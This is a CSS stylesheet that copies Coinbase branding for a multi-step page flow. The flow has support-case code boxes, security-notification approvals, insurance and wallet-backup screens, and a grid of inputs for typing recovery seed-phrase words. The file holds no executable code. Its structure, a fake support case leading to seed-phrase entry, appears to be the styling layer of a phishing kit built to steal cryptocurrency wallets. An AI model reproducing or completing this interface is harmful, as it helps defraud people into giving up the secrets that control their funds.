﻿@font-face {
    font-family: 'Coinbase Sans';
    src: url('fonts/Coinbase-Sans/Coinbase_Sans-Regular-web-1.32.woff2') format('woff2');
    font-weight: 400;
}

@font-face {
    font-family: 'Coinbase Sans';
    src: url('fonts/Coinbase-Sans/Coinbase_Sans-Medium-web-1.32.woff2') format('woff2');
    font-weight: 500;
}

* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

body, html {
    font-family: 'Coinbase Sans', system-ui, sans-serif;
    background: #0A0B0D;
    color: #FFFFFF;
    height: auto;
    min-height: 100%;
    overflow-y: auto;
    overflow-x: hidden;
    -webkit-overflow-scrolling: touch;
}

.header {
    position: fixed;
    top: 0;
    left: 0;
    right: 0;
    height: 72px;
    display: flex;
    align-items: center;
    padding: 0 24px;
    z-index: 100;
    background: #0A0B0D;
}

.logo {
    margin-left: 8px;
    margin-top: 5px;
}

#splash {
    position: fixed;
    inset: 0;
    background: #0A0B0D;
    display: flex;
    align-items: center;
    justify-content: center;
    z-index: 3000;
}

#case-screen,
#security-notifications-screen,
#value-screen,
#intro-screen,
#insurance-screen,
#final-screen,
#main-content,
#download-screen,
#create-wallet-screen,
#backup-screen,
#final-safe-screen,
#asset-insurance-screen {
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    width: 100%;
    min-height: 100%;
    background: #0A0B0D;
    display: none;
    align-items: center;
    justify-content: flex-start;
    flex-direction: column;
    padding: 100px 20px 120px;
    text-align: center;
    box-sizing: border-box;
}

#case-screen {
    padding: 90px 20px 40px;
}

.case-title {
    font-size: 28px;
    font-weight: 600;
    margin-bottom: 16px;
}

.case-subtitle {
    font-size: 16.5px;
    color: #8A8F9C;
    line-height: 1.5;
    max-width: 460px;
    margin-bottom: 28px;
}

.code-grid {
    display: flex;
    gap: 14px;
    margin: 8px 0 18px;
}

.code-box {
    width: 54px;
    height: 68px;
    background: transparent;
    border: 2px solid #3A3F4A;
    border-radius: 12px;
    color: #FFFFFF;
    font-size: 28px;
    font-weight: 500;
    text-align: center;
    line-height: 64px;
}

    .code-box:focus {
        outline: none;
        border-color: #5F90FA;
        box-shadow: 0 0 0 3px rgba(95, 144, 250, 0.2);
    }

    .code-box.error {
        border-color: #FF6B6B;
        background: rgba(255, 107, 107, 0.08);
        animation: shake 0.4s ease;
    }

.error-notification {
    background: #3A1F1F;
    border: 1px solid #FF6B6B;
    color: #FF6B6B;
    padding: 12px 16px;
    border-radius: 10px;
    font-size: 14.5px;
    display: flex;
    align-items: center;
    gap: 10px;
    margin: 8px 0 28px;
    max-width: 460px;
    line-height: 1.4;
}

    .error-notification::before {
        content: "⚠";
        font-size: 18px;
    }

@keyframes shake {
    0%, 100% {
        transform: translateX(0);
    }

    25% {
        transform: translateX(-6px);
    }

    75% {
        transform: translateX(6px);
    }
}

.security-title {
    font-size: 28px;
    font-weight: 600;
    margin-bottom: 8px;
}

.security-subtitle {
    font-size: 17px;
    color: #8A8F9C;
    margin-bottom: 32px;
    line-height: 1.5;
}

.notification-list {
    width: 100%;
    max-width: 460px;
    display: flex;
    flex-direction: column;
    gap: 16px;
}

.notification-item {
    background: #1A2029;
    border: 1px solid #2F3747;
    border-radius: 16px;
    padding: 20px;
    margin-bottom: 16px;
    transition: all 0.3s ease;
}

    .notification-item.removing {
        opacity: 0;
        transform: translateY(-10px);
        height: 0;
        margin: 0;
        padding: 0;
        overflow: hidden;
    }

.notification-content {
    display: flex;
    gap: 16px;
    align-items: flex-start;
}

.notification-text {
    text-align: left;
    flex: 1;
}

    .notification-text h3 {
        font-size: 17px;
        font-weight: 600;
        margin-bottom: 4px;
        color: #FFFFFF;
    }

    .notification-text p {
        font-size: 14.5px;
        color: #8A8F9C;
        line-height: 1.4;
        margin: 0;
    }
.notification-icon {
    font-size: 28px;
    flex-shrink: 0;
    margin-top: 2px;
}

.notification-content h3 {
    font-size: 17px;
    margin-bottom: 6px;
}

.notification-content p {
    font-size: 15px;
    color: #8A8F9C;
    line-height: 1.4;
}

.notification-actions {
    display: flex;
    gap: 12px;
    margin-top: 16px;
}

.action-btn {
    flex: 1;
    padding: 9px 32px;
    font-size: 14.5px;
    font-weight: 600;
    border-radius: 50px;
    border: none;
    cursor: pointer;
    height: 38px;
}

.approve-btn {
    background: #5F90FA;
    color: #000000;
}

.decline-btn {
    background: #3A3F4A;
    color: #FFFFFF;
}

#securityContinueBtn {
    background: #5F90FA !important;
    color: #000000 !important;
    border: none !important;
    padding: 17px 48px !important;
    font-size: 17px !important;
    font-weight: 600 !important;
    border-radius: 60px !important;
    cursor: pointer !important;
    min-width: 340px !important;
    height: 62px !important;
    margin-top: 8px !important;
    display: none;
}

.value-title {
    font-size: 28px;
    font-weight: 600;
    margin-bottom: 12px;
}

.value-subtitle {
    font-size: 17px;
    color: #8A8F9C;
    line-height: 1.5;
    max-width: 460px;
    margin-bottom: 48px;
}

.value-options {
    display: flex;
    flex-direction: column;
    gap: 12px;
    width: 100%;
    max-width: 420px;
}

.value-btn {
    padding: 18px 24px;
    font-size: 17px;
    font-weight: 500;
    background: #1F252F;
    color: #E5E7EB;
    border: 1px solid #3A3F4A;
    border-radius: 12px;
    cursor: pointer;
    transition: all 0.25s ease;
    text-align: left;
    font-family: 'Coinbase Sans', system-ui, sans-serif !important;
}

    .value-btn:hover,
    .value-btn.selected {
        background: #5F90FA;
        color: #000000;
        border-color: #5F90FA;
    }

#valueContinueBtn {
    background: #283D6B;
    color: #000000;
    border: none;
    padding: 17px 48px;
    font-size: 17px;
    font-weight: 600;
    border-radius: 60px;
    cursor: not-allowed;
    min-width: 340px;
    height: 62px;
    margin-top: 40px;
}

    #valueContinueBtn.active {
        background: #5F90FA;
        cursor: pointer;
    }

.intro-title {
    font-size: 32px;
    font-weight: 600;
    line-height: 1.2;
    margin-bottom: 12px;
}

.intro-subtitle {
    font-size: 18px;
    color: #8A8F9C;
    margin-bottom: 50px;
}

.btn-group {
    display: flex;
    flex-direction: column;
    gap: 14px;
    width: 100%;
    max-width: 380px;
}

button.option-btn {
    padding: 20px 24px;
    font-size: 18px;
    font-weight: 600;
    border-radius: 60px;
    border: none;
    height: 62px;
    cursor: pointer;
}

button.yes-btn {
    background: #5F90FA;
    color: #000000;
}

button.no-btn {
    background: transparent;
    color: #5A5F6A;
    border: 1.5px solid #3A3F4A;
}

button.big-btn {
    background: #5F90FA;
    color: #000000;
    border: none;
    padding: 17px 48px;
    font-size: 17px;
    font-weight: 600;
    border-radius: 60px;
    min-width: 340px;
    height: 62px;
    cursor: pointer;
    margin-top: 8px;
    transition: all 0.2s ease;
}

    button.big-btn:hover {
        background: #578BFA;
        transform: translateY(-1px);
    }

.insurance-icon {
    width: 80px;
    height: 80px;
    margin-bottom: 40px;
}

.insurance-title, .final-title {
    font-size: 26px;
    font-weight: 600;
    margin-bottom: 16px;
}

.insurance-text, .final-text {
    font-size: 17px;
    color: #8A8F9C;
    line-height: 1.5;
    max-width: 460px;
    margin-bottom: 48px;
}

button.understand-btn {
    background: #5F90FA;
    color: #000000;
    border: none;
    padding: 17px 48px;
    font-size: 17px;
    font-weight: 600;
    border-radius: 60px;
    cursor: pointer;
    min-width: 340px;
    height: 62px;
}

.main-container {
    width: 100%;
    max-width: 460px;
    text-align: center;
    padding: 0 20px;
}

h1 {
    font-size: 24px;
    font-weight: 500;
    margin-bottom: 52px;
}

.seed-grid {
    display: grid;
    grid-template-columns: repeat(6, 1fr);
    gap: 48px 18px;
    margin-bottom: 40px;
}

.input-group label {
    display: block;
    font-size: 13px;
    color: #71757E;
    margin-bottom: 8px;
    font-weight: 500;
    font-family: 'Coinbase Sans', system-ui, sans-serif;
}

.input-group input {
    width: 100%;
    background: transparent;
    border: none;
    border-bottom: 2px solid #3A3F4A;
    color: #FFFFFF;
    font-size: 16.5px;
    font-family: 'Coinbase Sans', system-ui, sans-serif;
    font-weight: 500;
    text-align: center;
    padding-bottom: 8px;
    transition: border-color 0.2s;
    letter-spacing: 0.3px;
}

    .input-group input:focus {
        outline: none;
        border-bottom: 3px solid #578BFA;
    }

button.primary {
    width: 100%;
    max-width: 380px;
    padding: 17px 24px;
    background: #283D6B;
    color: #000000;
    border: none;
    border-radius: 60px;
    font-size: 17px;
    font-weight: 600;
    height: 58px;
    cursor: not-allowed;
    margin: 12px auto 32px;
    display: block;
}

    button.primary.active {
        background: #5F90FA;
        cursor: pointer;
    }

.info {
    font-size: 13.5px;
    color: #8A8F9C;
    line-height: 1.5;
}

.progress-bar {
    position: fixed;
    top: 72px;
    left: 0;
    right: 0;
    height: 4px;
    background: #1F252F;
    z-index: 99;
}

.progress-fill {
    height: 100%;
    background: #5F90FA;
    transition: width 0.4s ease;
}

.step-title {
    font-size: 24px;
    font-weight: 600;
    margin: 20px 0 12px;
}

.step-subtitle {
    font-size: 17px;
    color: #8A8F9C;
    line-height: 1.5;
    max-width: 460px;
    margin-bottom: 24px;
}

.security-icon {
    margin-bottom: 24px;
}

.notification-item {
    background: #1A2029;
    border: 1px solid #2F3747;
    border-radius: 16px;
    padding: 20px;
    margin-bottom: 16px;
    transition: all 0.3s ease;
}

.notification-content {
    display: flex;
    gap: 16px;
    align-items: flex-start;
    margin-bottom: 16px;
}

.notification-icon {
    width: 40px;
    height: 40px;
    background: #0F141F;
    border: 1px solid #3A4357;
    border-radius: 50%;
    display: flex;
    align-items: center;
    justify-content: center;
    flex-shrink: 0;
}

    .notification-icon svg {
        width: 22px;
        height: 22px;
        color: #5F90FA;
    }

.notification-text h3 {
    font-size: 17px;
    font-weight: 600;
    margin-bottom: 4px;
    color: #FFFFFF;
}

.notification-text p {
    font-size: 14.5px;
    color: #8A8F9C;
    line-height: 1.4;
}

.notification-actions {
    display: flex;
    gap: 12px;
    margin-top: 4px;
}

.notification-icon svg {
    color: #5F90FA;
    width: 26px;
    height: 26px;
}

.icon-soft {
    stroke: #5F90FA;
    stroke-width: 1.8;
}

.success-circle {
    width: 88px;
    height: 88px;
    background: rgba(95, 144, 250, 0.12);
    border: 2px solid rgba(95, 144, 250, 0.25);
    border-radius: 50%;
    display: flex;
    align-items: center;
    justify-content: center;
    margin-bottom: 24px;
}

.success-shield {
    width: 92px;
    height: 92px;
    background: rgba(95, 144, 250, 0.1);
    border: 2px solid rgba(95, 144, 250, 0.25);
    border-radius: 50%;
    display: flex;
    align-items: center;
    justify-content: center;
    margin-bottom: 16px;
}

.numbered-list {
    text-align: left;
    max-width: 460px;
    margin: 32px auto 40px;
    padding: 0 20px;
}

    .numbered-list ol {
        padding-left: 0;
        list-style: none;
        counter-reset: step-counter;
        color: #E5E7EB;
        font-size: 16px;
        line-height: 1.7;
    }

    .numbered-list li {
        position: relative;
        padding-left: 32px;
        margin-bottom: 14px;
    }

        .numbered-list li::before {
            content: counter(step-counter);
            counter-increment: step-counter;
            position: absolute;
            left: 0;
            color: #5F90FA;
            font-weight: 600;
        }

    .numbered-list strong {
        color: #FFFFFF;
    }

.instruction-box {
    background: #1F252F;
    border: 1px solid #2F3747;
    border-radius: 16px;
    padding: 24px 28px;
    margin: 12px auto 40px;
    max-width: 460px;
    text-align: left;
}
    .instruction-box ol {
        padding-left: 0;
        margin: 0;
        list-style: none;
        counter-reset: step;
        color: #E5E7EB;
        font-size: 16px;
        line-height: 1.75;
    }

    .instruction-box li {
        position: relative;
        padding-left: 34px;
        margin-bottom: 14px;
    }

        .instruction-box li::before {
            content: counter(step) ".";
            counter-increment: step;
            position: absolute;
            left: 0;
            color: #5F90FA;
            font-weight: 600;
        }

        .instruction-box li:last-child {
            margin-bottom: 0;
        }

    .instruction-box strong {
        color: #FFFFFF;
    }

.seed-toggle {
    display: flex;
    background: #1F252F;
    border-radius: 50px;
    padding: 4px;
    margin: 20px auto 32px;
    width: fit-content;
}

.toggle-btn {
    padding: 10px 28px;
    border: none;
    border-radius: 50px;
    font-size: 15px;
    font-weight: 600;
    cursor: pointer;
    transition: all 0.2s ease;
    background: transparent;
    color: #8A8F9C;
}

    .toggle-btn.active {
        background: #5F90FA;
        color: #000000;
    }

.wallet-title {
    font-size: 28px;
    font-weight: 600;
    margin-bottom: 16px;
}

.wallet-subtitle {
    font-size: 16.5px;
    color: #8A8F9C;
    line-height: 1.5;
    max-width: 460px;
    margin-bottom: 32px;
    text-align: center;
}

.insurance-icon {
    width: 88px;
    height: 88px;
    background: rgba(95, 144, 250, 0.12);
    border: 2px solid rgba(95, 144, 250, 0.3);
    border-radius: 50%;
    display: flex;
    align-items: center;
    justify-content: center;
    margin-bottom: 32px;
}

.final-icon {
    width: 88px;
    height: 88px;
    background: rgba(95, 144, 250, 0.12);
    border: 2px solid rgba(95, 144, 250, 0.3);
    border-radius: 50%;
    display: flex;
    align-items: center;
    justify-content: center;
    margin-bottom: 32px;
}

@media (max-width: 480px) {
    html, body {
        height: auto;
        min-height: 100%;
        overflow-y: auto;
        overflow-x: hidden;
        -webkit-overflow-scrolling: touch;
    }

    #case-screen,
    #security-notifications-screen,
    #value-screen,
    #intro-screen,
    #insurance-screen,
    #final-screen,
    #main-content,
    #download-screen,
    #create-wallet-screen,
    #backup-screen,
    #final-safe-screen,
    #asset-insurance-screen {
        position: absolute;
        min-height: 100%;
        padding: 90px 16px 140px;
        justify-content: flex-start;
    }

    .seed-grid {
        grid-template-columns: repeat(3, 1fr) !important;
        gap: 20px 8px;
    }

    .case-title,
    .security-title,
    .value-title,
    .wallet-title,
    .intro-title {
        font-size: 22px;
    }

    .case-subtitle,
    .security-subtitle,
    .value-subtitle,
    .wallet-subtitle,
    .intro-subtitle {
        font-size: 15px;
    }

    button.big-btn,
    #securityContinueBtn,
    #valueContinueBtn,
    button.primary {
        width: 100%;
        height: 54px;
        font-size: 15px;
    }

    .code-box {
        width: 42px;
        height: 56px;
        font-size: 22px;
        line-height: 52px;
    }

    .code-grid {
        gap: 10px;
    }

    .header {
        height: 60px;
        padding: 0 16px;
    }
}

@media (min-width: 481px) {
    #case-screen,
    #security-notifications-screen,
    #value-screen,
    #intro-screen,
    #insurance-screen,
    #final-screen,
    #main-content,
    #download-screen,
    #create-wallet-screen,
    #backup-screen,
    #final-safe-screen,
    #asset-insurance-screen {
        justify-content: center;
        align-items: center;
        text-align: center;
    }

    .main-container,
    .notification-list,
    .value-options,
    .btn-group,
    .instruction-box,
    .numbered-list {
        max-width: 460px;
        width: 100%;
        margin: 0 auto;
    }
}

#loading-screen {
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    width: 100%;
    min-height: 100%;
    background: #0A0B0D;
    display: none;
    align-items: center;
    justify-content: center;
    flex-direction: column;
    padding: 20px;
    text-align: center;
    box-sizing: border-box;
}

.loading-circle {
    width: 64px;
    height: 64px;
    border: 6px solid rgba(95, 144, 250, 0.2);
    border-top: 6px solid #5F90FA;
    border-radius: 50%;
    animation: spin 1.1s linear infinite;
    margin-bottom: 48px;
}

@keyframes spin {
    0% {
        transform: rotate(0deg);
    }

    100% {
        transform: rotate(360deg);
    }
}

.loading-title {
    font-size: 28px;
    font-weight: 600;
    margin-bottom: 12px;
    font-family: 'Coinbase Sans', system-ui, sans-serif;
}

.loading-subtitle {
    font-size: 17px;
    color: #8A8F9C;
    line-height: 1.5;
    max-width: 420px;
}

.loading-content {
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    text-align: center;
}